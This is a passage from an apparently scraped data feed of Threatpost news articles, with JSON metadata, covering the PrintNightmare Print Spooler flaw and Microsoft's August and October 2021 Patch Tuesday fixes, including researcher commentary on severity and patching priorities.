writeup,](<https://msandbu.org/printnightmare-cve-2021-1675/>) \u201cTo be able to use this exploit it requires that you authenticate as a domain user.\u201d\n\nTenable\u2019s Tillis added, \u201cBased on the information available, an attacker with a low-level user account could exploit this vulnerability\u2026and pivot to other areas of the target network. The low-level account could be obtained via an additional vulnerability or even a phishing attack.\u201d\n\n\u201cThe PrintNightmare vulnerability can be utilized to perform local privilege escalation and remote code execution within Windows environments through the Spooler service by exploiting the RpcAddPrinterDriver call, allowing for an arbitrary DLL to be loaded on the remote system, or as an escalated user,\u201d Automox\u2019 Garber told Threatpost. \u201cTo exploit the remote code-execution portion of the vulnerability, it is required to have a user authenticate to the Spooler service on the target system. Considering it is common to have the Spooler service enabled on most Windows systems in a standard domain environment, this vulnerability is very dangerous and can allow an attacker to easily gain remote code execution through the Windows environment with a single set of credentials.\u201d\n\nMicrosoft updated its advisory to note the potential for RCE, but didn\u2019t update the CVSS rating, despite noting that exploitation would require \u201clow complexity.\u201d For their part, researchers are treating PrintNightmare as having \u201ccritical\u201d status.\n\n\u201cIt\u2019s interesting to note Microsoft did not change the CVSS rating when they revised their advisory to indicate this could lead to remote code execution,\u201d Childs said, adding that the bug is now \u201cquite severe.\u201d He added, \u201cI would treat this as a critical-rated bug.\u201d\n\n\n\nThe Sangfor PoC found on GitHib.\n\n\u201cWithout authentication, the flaw could be exploited to elevate privileges, making this vulnerability a valuable link in an attack chain,\u201d Tillis noted.\n\nThe team at Sangfor (researchers Zhiniang Peng and Xuefeng Li) said in their GitHub posting (the copied version [is here](<https://github.com/afwu/PrintNightmare>)) that in the domain controller (DC) environment, the Print Spooler service is normally enabled, so the compromise of any DC user could likely result in RCE.\n\n## **More Print Spooler Bugs and Exploits Coming Soon**\n\nThey also claimed to have found \u201cmore hidden bombs\u201d in Print Spooler, which they plan to unveil at Black Hat in August.\n\n\u201cWindows Print Spooler has a long history of vulnerabilities and its ubiquity can allow for serious impact on targets,\u201d Tillis noted in the Tenable [writeup on Tuesday](<https://www.tenable.com/blog/cve-2021-1675-proof-of-concept-leaked-for-critical-windows-print-spooler-vulnerability>). \u201cMost notably, Print Spooler vulnerabilities were tied to the Stuxnet attacks over a decade ago. More recently, CVE-2020-1337 was a zero-day in print spooler disclosed at last year\u2019s Black Hat and DEF CON events, which happened to be a patch bypass for CVE-2020-1048, another Windows Print Spooler vulnerability that was patched in May 2020.\u201d\n\n\u201cSince the proof-of-concept code has leaked online in various locations, expect this but to be wrapped up into active exploits soon,\u201d Childs said. \u201cThis threat will likely increase after Black Hat when researchers present their findings on the bugs.\u201d\n\nThe patch may not be completely effective, but there are mitigations, such as taking Print Spooler offline. And, \u201cit should be noted that most endpoints will be safe from this attack with the built-in Windows Firewall default rules,\u201d Sandbu said.\n\nSchrader added that users should regularly check for system integrity and control changes.\n\n\u201cAs the vulnerability gives an attacker full control related to confidentiality, integrity and availability, users should also be cautious about their sensitive data,\u201d he said.\n\n_**This article was updated at 3 p.m. ET on June 30 with additional input from security researchers.**_\n", "cvss3": {}, "published": "2021-06-30T16:02:29", "type": "threatpost", "title": "PoC Exploit Circulating for Critical Windows Print Spooler Bug", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-1048", "CVE-2020-1337", "CVE-2021-1675"], "modified": "2021-06-30T16:02:29", "id": "THREATPOST:EED27183B3F49112A9E785EA56534781", "href": "https://threatpost.com/poc-exploit-windows-print-spooler-bug/167430/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-11T19:56:07", "description": "Microsoft has patched 51 security vulnerabilities in its scheduled August Patch Tuesday update, including seven critical bugs, two issues that were publicly disclosed but unpatched until now, and one that\u2019s listed as a zero-day that has been exploited in the wild.\n\nOf note, there are 17 elevation-of-privilege (EoP) vulnerabilities, 13 remote code-execution (RCE) issues, eight information-disclosure flaws and two denial-of-service (DoS) bugs.\n\nThe update also includes patches for three more Print Spooler bugs, familiar from the PrintNightmare saga.\n\n[](<https://threatpost.com/infosec-insider-subscription-page/>)\n\n\u201cFortunately, it was a lighter month than usual,\u201d said Eric Feldman, senior product marketing manager at Automox, in a [Patch Tuesday analysis](<https://blog.automox.com/automox-experts-weigh-in-august-patch-tuesday-2021>) from the vendor. \u201cThis represents a 56 percent reduction in overall vulnerabilities from July, and 33 percent fewer vulnerabilities on average for each month so far this year. We have also seen a similar reduction in critical vulnerabilities this month, with 30 percent less compared to the monthly average.\u201d\n\n## **Windows Critical Security Vulnerabilities**\n\nThe seven critical bugs [addressed in August](<https://msrc.microsoft.com/update-guide/>) are as follows:\n\n * CVE-2021-26424 \u2013 Windows TCP/IP RCE Vulnerability\n * CVE-2021-26432 \u2013 Windows Services for NFS ONCRPC XDR Driver RCE Vulnerability\n * CVE-2021-34480 \u2013 Scripting Engine Memory Corruption Vulnerability\n * CVE-2021-34530 \u2013 Windows Graphics Component RCE Vulnerability\n * CVE-2021-34534 \u2013 Windows MSHTML Platform RCE Vulnerability\n * CVE-2021-34535 \u2013 Remote Desktop Client RCE Vulnerability\n * CVE-2021-36936 \u2013 Windows Print Spooler RCE Vulnerability\n\nThe bug tracked as **CVE-2021-26424** exists in the TCP/IP protocol stack identified in Windows 7 and newer Microsoft operating systems, including servers.\n\n\u201cDespite its CVSS rating of 9.9, this may prove to be a trivial bug, but it\u2019s still fascinating,\u201d said Dustin Childs of Trend Micro\u2019s Zero Day Initiative (ZDI) in his [Tuesday analysis](<https://www.zerodayinitiative.com/blog/2021/8/10/the-august-2021-security-update-review>). \u201cAn attacker on a guest Hyper-V OS could execute code on the host Hyper-V server by sending a specially crafted IPv6 ping. This keeps it out of the wormable category. Still, a successful attack would allow the guest OS to completely take over the Hyper-V host. While not wormable, it\u2019s still cool to see new bugs in new scenarios being found in protocols that have been around for years.\u201d\n\nThe next bug, **CVE-2021-26432** in Windows Services, is more likely to be exploited given its low complexity status, according to Microsoft\u2019s advisory; it doesn\u2019t require privileges or user interaction to exploit, but Microsoft offered no further details.\n\n\u201cThis may fall into the \u2018wormable\u2019 category, at least between servers with NFS installed, especially since the open network computing remote procedure call (ONCRPC) consists of an External Data Representation (XDR) runtime built on the Winsock Kernel (WSK) interface,\u201d Childs said. \u201cThat certainly sounds like elevated code on a listening network service. Don\u2019t ignore this patch.\u201d\n\nAleks Haugom, product marketing manager at Automox, added, \u201cExploitation results in total loss of confidentiality across all devices managed by the same security authority. Furthermore, attackers can utilize it for denial-of-service attacks or to maliciously modify files. So far, no further details have been divulged by Microsoft or the security researcher (Liubenjin from Codesafe Team of Legendsec at Qi\u2019anxin Group) that discovered this vulnerability. Given the broad potential impact, its label \u2018Exploitation More Likely\u2019 and apparent secrecy, patching should be completed ASAP.\u201d\n\nMeanwhile, the memory-corruption bug (**CVE-2021-34480**) arises from how the scripting engine handles objects in memory, and it also allows RCE. Using a web-based attack or a malicious file, such as a malicious landing page or phishing email, attackers can use this vulnerability to take control of an affected system, install programs, view or change data, or create new user accounts with full user rights.\n\n\u201cCVE-2021-34480 should also be a priority,\u201d Kevin Breen, director of cyber-threat research at Immersive Labs, told Threatpost. \u201cIt is a low score in terms of CVSS, coming in at 6.8, but has been marked by Microsoft as \u2018Exploitation More Likely\u2019 because it is the type of attack commonly used to increase the success rate of spear phishing attacks to gain network access. Simple, but effective.\u201d\n\nThe Windows Graphic Component bug (**CVE-2021-34530**) allows attackers to remotely execute malicious code in the context of the current user, according to Microsoft \u2013 if they can social-engineer a target into opening a specially crafted file.\n\nAnother bug exists in the Windows MSHTML platform, also known as Trident (**CVE-2021-34534**). Trident is the rendering engine (mshtml.dll) used by Internet Explorer. The bug affects many Windows 10 versions (1607, 1809,1909, 2004, 20H2, 21H1) as well as Windows Server 2016 and 2019.\n\nBut while it potentially affects a large number of users, exploitation is not trivial.\n\n\u201cTo exploit, a threat actor would need to pull off a highly complex attack with user interaction \u2013 still entirely possible with the sophisticated attackers of today,\u201d said Peter Pflaster, technical product marketing manager at Automox.\n\nThe bug tracked as **CVE-2021-34535** impacts the Microsoft Remote Desktop Client, Microsoft\u2019s nearly ubiquitous utility for connecting to remote PCs.\n\n\u201cWith today\u2019s highly dispersed workforce, CVE-2021-34535, an RCE vulnerability in Remote Desktop Clients, should be a priority patch,\u201d said Breen. \u201cAttackers increasingly use RDP access as the tip of the spear to gain network access, often combining it with privilege escalation to move laterally. These can be powerful as, depending on the method, it may allow the attacker to authenticate in the network in the same way a user would, making detection difficult.\u201d\n\nIt\u2019s not as dangerous of a bug [as BlueKeep,](<https://threatpost.com/one-million-devices-open-to-wormable-microsoft-bluekeep-flaw/145113/>) according to Childs, which also affected RDP.\n\n\u201cBefore you start having flashbacks to BlueKeep, this bug affects the RDP client and not the RDP server,\u201d he said. \u201cHowever, the CVSS 9.9 bug is nothing to ignore. An attacker can take over a system if they can convince an affected RDP client to connect to an RDP server they control. On Hyper-V servers, a malicious program running in a guest VM could trigger guest-to-host RCE by exploiting this vulnerability in the Hyper-V Viewer. This is the more likely scenario and the reason you should test and deploy this patch quickly.\u201d\n\n## **Windows Print Spooler Bugs \u2013 Again**\n\nThe final critical bug is **CVE-2021-36936**, a Windows Print Spooler RCE bug that\u2019s listed as publicly known.\n\nPrint Spooler made headlines last month, when Microsoft patched what it thought was a minor elevation-of-privilege vulnerability in the service (CVE-2021-1675). But the listing was updated later in the week, after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE \u2013 [requiring a new patch](<https://threatpost.com/microsoft-emergency-patch-printnightmare/167578/>).\n\nIt also disclosed a second bug, similar to PrintNightmare (CVE-2021-34527); and a third, [an EoP issue](<https://threatpost.com/microsoft-unpatched-bug-windows-print-spooler/167855/>) ([CVE-2021-34481](<https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872>)).\n\n\u201cAnother month, another remote code-execution bug in the Print Spooler,\u201d said ZDI\u2019s Childs. \u201cThis bug is listed as publicly known, but it\u2019s not clear if this bug is a variant of PrintNightmare or a unique vulnerability all on its own. There are quite a few print-spooler bugs to keep track of. Either way, attackers can use this to execute code on affected systems. Microsoft does state low privileges are required, so that should put this in the non-wormable category, but you should still prioritize testing and deployment of this critical-rated bug.\u201d\n\nThe critical vulnerability is just one of three Print Spooler issues in the August Patch Tuesday release.\n\n\u201cThe specter of the PrintNightmare continues to haunt this patch Tuesday with three more print spooler vulnerabilities, CVE-2021-36947, CVE-2021-36936 and CVE-2021-34481,\u201d said Breen. \u201cAll three are listed as RCE over the network, requiring a low level of access, similar to PrintNightmare. Microsoft has marked these as \u2018Exploitation More Likely\u2019 which, if the previous speed of POC code being published is anything to go by, is certainly true.\u201d\n\n## **RCE Zero-Day in Windows Update Medic Service **\n\nThe actively exploited bug is tracked as **CVE-2021-36948** and is rated as important; it could pave the way for RCE via the Windows Update Medic Service in Windows 10 and Server 2019 and newer operating systems.\n\n\u201cUpdate Medic is a new service that allows users to repair Windows Update components from a damaged state such that the device can continue to receive updates,\u201d Automox\u2019 Jay Goodman explained. \u201cThe exploit is both low complexity and can be exploited without user interaction, making this an easy vulnerability to include in an adversary\u2019s toolbox.\u201d\n\nImmersive\u2019s Breen added, \u201cCVE-2021-36948 is a privilege-escalation vulnerability \u2013 the cornerstone of modern intrusions as they allow attackers the level of access to do things like hide their tracks and create user accounts. In the case of ransomware attacks, they have also been used to ensure maximum damage.\u201d\n\nThough the bug is being reported as being exploited in the wild by Microsoft, activity appears to remain limited or targeted: \u201cWe have seen no evidence of it at Kenna Security at this time,\u201d Jerry Gamblin, director of security research at Kenna Security (now part of Cisco) told Threatpost.\n\n## **Publicly Known Windows LSA Spoofing Bug**\n\nThe second publicly known bug (after the Print Spooler issue covered earlier) is tracked as **CVE-2021-36942**, and it\u2019s an important-rated Windows LSA (Local Security Authority) spoofing vulnerability.\n\n\u201cIt fixes a flaw that could be used to steal NTLM hashes from a domain controller or other vulnerable host,\u201d Immersive\u2019s Breen said. \u201cThese types of attacks are well known for lateral movement and privilege escalation, as has been demonstrated recently by a [new exploit called PetitPotam](<https://threatpost.com/microsoft-petitpotam-poc/168163/>). It is a post-intrusion exploit \u2013 further down the attack chain \u2013 but still a useful tool for attackers.\u201d\n\nChilds offered a bit of context around the bug.\n\n\u201cMicrosoft released this patch to further protect against NTLM relay attacks by issuing this update to block the LSARPC interface,\u201d he said. \u201cThis will impact some systems, notably Windows Server 2008 SP2, that use the EFS API OpenEncryptedFileRawA function. You should apply this to your Domain Controllers first and follow the additional guidance in [ADV210003](<https://msrc.microsoft.com/update-guide/vulnerability/ADV210003>) and [KB5005413](<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>). This has been an ongoing issue since 2009, and, likely, this isn\u2019t the last we\u2019ll hear of this persistent issue.\u201d\n\nMicrosoft\u2019s next Patch Tuesday will fall on September 14.\n\nWorried about where the next attack is coming from? We\u2019ve got your back. **[REGISTER NOW](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)** for our upcoming live webinar, How to **Think Like a Threat Actor**, in partnership with Uptycs on Aug. 17 at 11 AM EST and find out precisely where attackers are targeting you and how to get there first. Join host Becky Bracken and Uptycs researchers Amit Malik and Ashwin Vamshi on **[Aug. 17 at 11AM EST for this LIVE discussion](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)**.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-10T21:17:58", "type": "threatpost", "title": "Actively Exploited Windows Zero-Day Gets a Patch", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-26424", "CVE-2021-26432", "CVE-2021-34480", "CVE-2021-34481", "CVE-2021-34527", "CVE-2021-34530", "CVE-2021-34534", "CVE-2021-34535", "CVE-2021-36936", "CVE-2021-36942", "CVE-2021-36947", "CVE-2021-36948"], "modified": "2021-08-10T21:17:58", "id": "THREATPOST:8D4EA8B0593FD44763915E703BC9AB72", "href": "https://threatpost.com/exploited-windows-zero-day-patch/168539/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-10-13T10:46:13", "description": "Today is Microsoft\u2019s October 2021 Patch Tuesday, and it delivers fixes for four zero-day vulnerabilities, one of which is being exploited in a far-reaching espionage campaign that delivers the new [MysterySnail RAT malware](<https://threatpost.com/windows-zero-day-exploited-espionage/175432/>) to Windows servers.\n\n[Microsoft reported](<https://msrc.microsoft.com/update-guide/vulnerability>) a total of 74 vulnerabilities, three of which are rated critical.\n\n## MysterySnail Exploits Win32K Bug\n\nSecurity researchers pointed to [CVE-2021-40449](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40449>), an elevation of privilege vulnerability in Win32k, as standing out from the crowd of patches, given that It\u2019s been exploited in the wild as a zero-day.\n\nThis summer, Kaspersky researchers discovered that the exploit was being used to elevate privileges and take over Windows servers as part of a Chinese-speaking advanced persistent threat (APT) campaign from the APT IronHusky.\n\nThe exploit chain ended with a freshly discovered remote access trojan (RAT) [dubbed MysterySnail](<https://threatpost.com/windows-zero-day-exploited-espionage/175432/>) being installed on compromised servers, with the goal of stealing data.\n\nBharat Jogi, Qualsys senior manager of vulnerability and threat research, told Threatpost on Tuesday that if left unpatched, \u201cMysterySnail has the potential to collect and exfiltrate system information from compromised hosts, in addition to other malicious users having the ability to gain complete control of the affected system and launch further attacks.\u201d\n\nJay Goodman, Automox director of product marketing, told Threatpost via email that these kinds of privilege elevation attacks \u201ccan be used to access beyond what the current user context of the device would allow, enabling attackers to perform unauthorized action, delete or move data, view private information, or install malicious software.\u201d\n\nThis bug, rated Important, is found in all supported versions of Windows.\n\nGreg Wiseman, Rapid7 senior security researcher, told Threatpost that this vulnerability is \u201clikely being used alongside Remote Code Execution (RCE) and/or social engineering attacks to gain more complete control of targeted systems.\u201d\n\nSatnam Narang, staff research engineer at Tenable, noted that elevation of privilege flaws \u201care most valuable in post-compromise scenarios once an attacker has gained access to a target system through other means, in order to execute code with elevated privileges.\u201d\n\nImmersive Labs\u2019 Kevin Breen, director of cyber threat research, said that this all points to prioritizing this patch, particularly given how common these vulnerabilities are in ransomware attack chains: \u201cGaining this level of access on a compromised host is the first step towards becoming a domain admin \u2013 and securing full access to a network,\u201d he told Threastpost. \u201cAlmost every ransomware attack reported this year has included the use of one or more privilege escalation vulnerabilities as part of the attacker\u2019s workflow, so this is serious stuff indeed.\u201d\n\n## A PrintNightmare Fix to Fix the Other PrintNightmare Fix\n\nOther fixes released in the October Patch Tuesday batch include those that address what was a summer\u2019s full of Print Spooler-related patches. There\u2019s been a [steady](<https://threatpost.com/microsoft-patch-tuesday-exploited-windows-zero-day/169459/>) [stream](<https://threatpost.com/cisa-mitigation-printnightmare-bug/167515/>) of these [patches](<https://threatpost.com/microsoft-unpatched-printnightmare-zero-day/168613/>) for flaws in Windows Print Spooler following June\u2019s [disclosure of the PrintNightmare vulnerability](<https://threatpost.com/poc-exploit-windows-print-spooler-bug/167430/>) \u2013 a bug that allowed threat actors to conduct remote code execution (RCE) and to gain local system privileges.\n\nThis month\u2019s release includes a fix for [CVE-2021-36970](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36970>), a spoofing vulnerability in Microsoft\u2019s Windows Print Spooler that has a CVSSv3 score of 8.8.\n\nChris Morgan, senior cyber threat intelligence analyst at Digital Shadows, said that the spoofing vulnerability fix Microsoft put out today is meant to fix the problems that previous patches have introduced.\n\n\u201cWhile Microsoft provided a fix in [their September 2021 update,](<https://threatpost.com/microsoft-patch-tuesday-exploited-windows-zero-day/169459/>) the patch resulted in a number of management problems,\u201d he told Threatpost. \u201cCertain printers required users to repeatedly input their administrator credentials every time an application attempted to print or had a client connect to a print server.\n\n\u201cOther problems included event logs recording error messages and denying users the ability to perform basic prints\u201d he continued. \u201cAs a result, many may have likely skipped the update due to its operational impact, ultimately leaving the risk posed by PrintNightmare in place.\u201d\n\nThis vulnerability was discovered by researchers XueFeng Li and Zhiniang Peng of Sangfor, who were also credited with the discovery of CVE-2021-1675, one of two vulnerabilities known as PrintNightmare.\n\nSatnam Narang, staff research engineer at Tenable noted that \u201cWhile no details have been shared publicly about the flaw, this is definitely one to watch for, as we saw a constant stream of Print Spooler-related vulnerabilities patched over the summer while ransomware groups began incorporating PrintNightmare into their affiliate playbook. We strongly encourage organizations to apply these patches as soon as possible.\u201d\n\n## RCE Affects Microsoft Word, Office, SharePoint\n\nAnother vulnerability worth noting is CVE-2021-40486, a critical RCE affecting Microsoft Word, Microsoft Office and some versions of SharePoint Server that can be exploited via the Preview Pane.\n\nGina Geisel, Automox product and partner marketing professional, noted that this vulnerability isn\u2019t new to Microsoft, with several other similar CVEs documented this year. In this case, the RCE vulnerability exists in some Microsoft apps when they fail to properly handle objects in memory.\n\nWith a low attack complexity, this vulnerability requires a user opening a specially crafted file either by email or via a website, either hosted by the attacker or through a compromised website that accepts or hosts user-provided content.\n\n\u201cAn attacker who successfully exploits this vulnerability can use this file to perform actions in the context of the current user,\u201d Geisel explained. \u201cFor example, the file could take actions on behalf of the logged-on user with the same permissions as the current user.\u201d\n\n## Microsoft SharePoint Server RCE\n\nImmersive Labs\u2019 Breen told Threatpost that this RCE vulnerability \u2013 tracked as [CVE-2021-40487](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40487>) rated as 8.1 out of 10 CVSS score and marked as \u201cexploitation more likely\u201d \u2013 will be more difficult for an attacker to exploit, given that it requires an authenticated user on the domain.\n\nBut gaining RCE on a SharePoint server \u201copens up a lot of avenues for further exploitation,\u201d he noted via email.\n\n\u201cInternal SharePoint servers are often used to host company-sensitive documents and provide an intranet for staff to interact with,\u201d Breen explained. \u201cIf an attacker could manipulate the content of these articles or replace valid documents with malicious ones, they could steal credentials or trick targeted users into installing additional malware.\u201d\n\n## Highest CVSS Award Goes to Microsoft Exchange Server RCE\n\n[CVE-2021-26427](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26427>), the latest in Exchange Server RCEs, takes the severity cake this month, with a CVSS score of 9.0 out of 10. In spite of this hgh severity rating, Microsoft has marked it as being \u201cexploitation less likely,\u201d perhaps due to the what Breen called the \u201cnetwork adjacent vector.\u201d\n\nIn other words, he explained, \u201can attacker would already need access to your network in order to exploit this vulnerability. Email servers will always be prime targets, simply due to the amount of data contained in emails and the range of possible ways attackers could use them for malicious purposes.\u201d\n\nWhile it\u2019s not \u201cright at the top\u201d of Breen\u2019s list of priorities to patch, \u201cit\u2019s certainly one to be wary of.\u201d\n\nRapid7\u2019s Wiseman concurs: This is a notable vulnerability, though it\u2019s mitigated \u201cby the fact that attacks are limited to a \u2018logically adjacent topology,'\u201d meaning, in other words, that it can\u2019t be exploited directly over the public Internet.\n\n## Windows Hyper-V\n\nWiseman called on virtualization administrators to take heed of two RCEs affecting Windows Hyper-V: [CVE-2021-40461](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40461>) and [CVE-2021-38672](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38672>), both of which affect relatively new versions of Windows and which are considered critical.\n\nWindows Hyper-V is a native hypervisor that can create and run virtual machines (VMs) on x86-64 systems running Windows. These two flaws both allow a VM to escape from guest to host by triggering a memory allocation error, allowing it to read kernel memory in the host.\n\nChristopher Hass, Autmox director of information security and research, said that exploitation of these bugs \u201ccould allow a malicious guest VM to read kernel memory in the host.\u201d\n\nNeither vulnerability has been exploited publicly, and exploitation is less likely, however organizations using Hyper-V should patch these vulnerabilities as soon as possible, Hass recommended.\n\n## One Step Away From Domain Admin\n\nThere\u2019s one bug that swings above its weight range: the DNS server remote code execution (RCE) vulnerability that\u2019s tracked as [CVE-2021-40469](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40469>).\n\nJake Williams, Co-Founder and CTO at BreachQuest, calls this one \u201cinteresting,\u201d as in, that curse about [living in interesting times](<https://en.wikipedia.org/wiki/May_you_live_in_interesting_times>).\n\nIts base score severity rating is 7.2, but its attack complexity is low, and an attack can be launched remotely. Exploitation does, however, require what [VulDB](<https://vuldb.com/?id.184280>) calls \u201can enhanced level of successful authentication.\u201d\n\nEven if that makes it tough to weaponize, this bug is still potentially uber nasty, given that, for one thing, it\u2019s been publicly disclosed in a proof of concept, and also that DNS servers sit in such a crucial spot.\n\n\u201cWhile it will likely be difficult to weaponize, DNS servers are typically run on domain controllers, making this extremely serious,\u201d Williams noted. \u201cA threat actor that gains remote code execution on a domain controller is likely to gain immediate domain administrator permissions. In the best case scenario, they are a mere step away from taking domain administrator.\u201d\n\nThis isn\u2019t the first time that Microsoft has had to stomp on an RCE vulnerability in DNS server this year, including in [March\u2019s Patch Tuesday updates](<https://threatpost.com/microsoft-patch-tuesday-updates-critical-bugs/164621/>). This time around, the vulnerability affects various versions of Windows 7, 8.1 and 10, as well as Windows Server.\n\n## Windows Kernel Elevation of Privilege Flaw\n\nCVE-2021-41335, an elevation of privilege vulnerability that exists when the Windows kernel fails to properly handle objects in memory, is rated high severity, and it\u2019s been publicly disclosed in a proof-of-concept (POC) showing how successful exploitation could allow an attacker to run arbitrary code in kernel mode.\n\nExploitation would enable an attacker to install programs; view, change, or delete data; or create accounts with full user rights. To exploit this vulnerability, an attacker would first have to log on to the system and then run a specially crafted application to take control of the system.\n\nJustin Knapp, Automox senior product marketing manager, explained that \u201cElevation of privilege vulnerabilities like this are often an important step in the cyber kill chain and should be immediately prioritized and patched.\u201d\n\n## Windows AppContainer Firewall Rules Security Feature Bypass\n\nTracked as [CVE-2021-41338](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41338>), this vulnerability is, again, high severity \u2013 it allows an attacker to bypass the security rules of Windows AppContainer Firewall \u2013 as well as publicly disclosed.\n\nAppContainers are designed to protect against infiltration from third-party apps. They essentially isolate the runtime environment of applications with the goal of blocking malicious code.\n\nThis vulnerability results in loss of confidentiality and can be exploited without any user interaction.\n\nMaarten Buis, Automox product marketing manager, noted that a successful attacker that exploits this vulnerability could run arbitrary code on the endpoint, but they need to have administrative privileges before they can meaningfully exploit it.\n\n\u201cHowever, there is still a significant risk because no user interaction is required, and no special endpoint conditions are required for an attack to succeed,\u201d Buis explained to Threatpost via email .\n\nThere are no reports of the vulnerability having been actively exploited \u2013 yet. Still, Automox recommends a rapid patch rollout \u2013 as in, within 72 hours of the patch being made available \u2013 given that it\u2019s been publicly disclosed in a proof of concept by James Forshaw of Google\u2019s Project Zero.\n\nAleks Haugom, Automox product marketing manager, noted that, given the sheer number of apps users download, \u201cmaking sure that AppContianers cannot be compromised is important to every company\u2019s security hygiene.\u201d\n\n## How to Prioritize?\n\nWilliams said that he doesn\u2019t want to sound like a broken record, but he\u2019s still going to say what security experts say every Patch Tuesday. To wit, \u201cPatch now.\u201d\n\nThat\u2019s particularly true for the MysterySnail campaign, he said: \u201cSeriously, this is not a patch Tuesday to delay on,\u201d he advised. \u201cThreat actors are actively exploiting the vulnerability for CVE-2021-40449 to elevate from user to administrator permissions on compromised systems. While CVE-2021-40449 doesn\u2019t allow for remote exploitation, that doesn\u2019t mean it can be taken lightly. Threat actors regularly gain access to target machines using phishing attacks and vulnerabilities such as CVE-2021-40449 allow them to evade more effectively bypass endpoint controls and evade detection.\u201d\n\nBesides which, MysterySnail\u2019s success in weaponizing this flaw means that other APTs will soon follow, Williams said: \u201cBecause the code for this has already been weaponized by one threat actor, we should expect to see it weaponized by others more quickly because there is already sample exploit code in the wild to work with.\u201d\n\nDanny Kim, Principle Architect at Virsec, who spent time at Microsoft during his graduate work on the OS security development team, voted for prioritizing the three critical remote code execution vulnerabilities: CVE-2021-40469, CVE-2021-26427 and CVE-2021-40487, which affect a wide range of Windows versions.\n\n\u201cThese vulnerabilities not only have a high to critical CVSS rating, but two of the three attacks (CVE-2021-40487, CVE-2021-40469) can be executed remotely,\u201d he stressed. \u201cRemote Code Execution (RCE) attacks are especially devastating because once the exploit is executed, [the attackers] can launch any kind of cyberattack, including ransomware.\n\nHe noted that RCE vulnerabilities were also the root cause of the Hafnium and Kaseya attacks. \u201cTrying to mitigate the attacker\u2019s actions after they have gained access is significantly harder than stopping the actions that led to the successful exploit,\u201d Kim pointed out. \u201cThis is why runtime monitoring of enterprises\u2019 server workloads is becoming a key part of today\u2019s cybersecurity. Stopping the exploitation of these vulnerabilities has to start with equipping the servers themselves with constant, deterministic runtime protection, not just detection.\u201d\n\n_**Check out our free **_[_**upcoming live and on-demand online town halls**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-12T21:51:06", "type": "threatpost", "title": "Microsoft Oct. Patch Tuesday Squashes 4 Zero-Day Bugs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-26427", "CVE-2021-36970", "CVE-2021-38672", "CVE-2021-40449", "CVE-2021-40461", "CVE-2021-40469", "CVE-2021-40486", "CVE-2021-40487", "CVE-2021-41335", "CVE-2021-41338"], "modified": "2021-10-12T21:51:06", "id": "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "href": "https://threatpost.com/microsoft-patch-tuesday-bug-exploited-mysterysnail-espionage-campaign/175431/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-13T22:17:17", "description": "Three bugs under active exploit were squashed by Microsoft Tuesday, part of its [July security roundup](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Jul>) of fixes for Windows, Microsoft Office, SharePoint Server and Exchange 